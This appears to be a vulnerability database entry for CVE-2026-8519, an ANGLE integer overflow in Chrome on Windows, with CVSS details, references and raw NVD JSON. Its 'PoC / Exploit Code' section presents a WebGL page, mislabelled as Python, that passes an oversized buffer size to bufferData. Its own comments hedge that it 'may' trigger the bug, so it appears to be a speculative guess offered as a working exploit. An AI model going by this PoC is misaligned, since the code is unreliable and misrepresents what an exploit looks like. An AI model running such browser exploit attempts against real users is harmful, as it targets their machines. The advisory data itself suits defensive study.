CVE-2026-8519

Description

Integer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome on Windows < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-8519: ANGLE Integer Overflow
  This script attempts to trigger the overflow via WebGL context.
  Note: Specific parameters may vary based on the exact vulnerability internals.
-->
<html>
<body>
<canvas id="gl"></canvas>
<script>
  const canvas = document.getElementById('gl');
  // Attempt to get a WebGL context to interact with ANGLE
  const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
  
  if (gl) {
    console.log("WebGL context initialized.");
    // Crafted data to potentially trigger integer overflow in buffer operations
    // The value 0x7FFFFFFF is often used to test integer boundaries
    const craftedSize = 0x7FFFFFFF; 
    
    try {
      const buffer = gl.createBuffer();
      gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
      // This call may trigger the overflow in vulnerable versions
      gl.bufferData(gl.ARRAY_BUFFER, craftedSize, gl.STATIC_DRAW);
      console.log("bufferData executed, check for crash or debugger output.");
    } catch (e) {
      console.error("Exception occurred: " + e.message);
    }
  } else {
    console.log("WebGL not supported.");
  }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8519
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8519
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8519/
[4] VulDB https://vuldb.com/cve/CVE-2026-8519
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/498400132

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8519", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:12.663", "lastModified": "2026-05-14T22:16:46.123", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in ANGLE in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/498400132", "source": "[email protected]"}]}}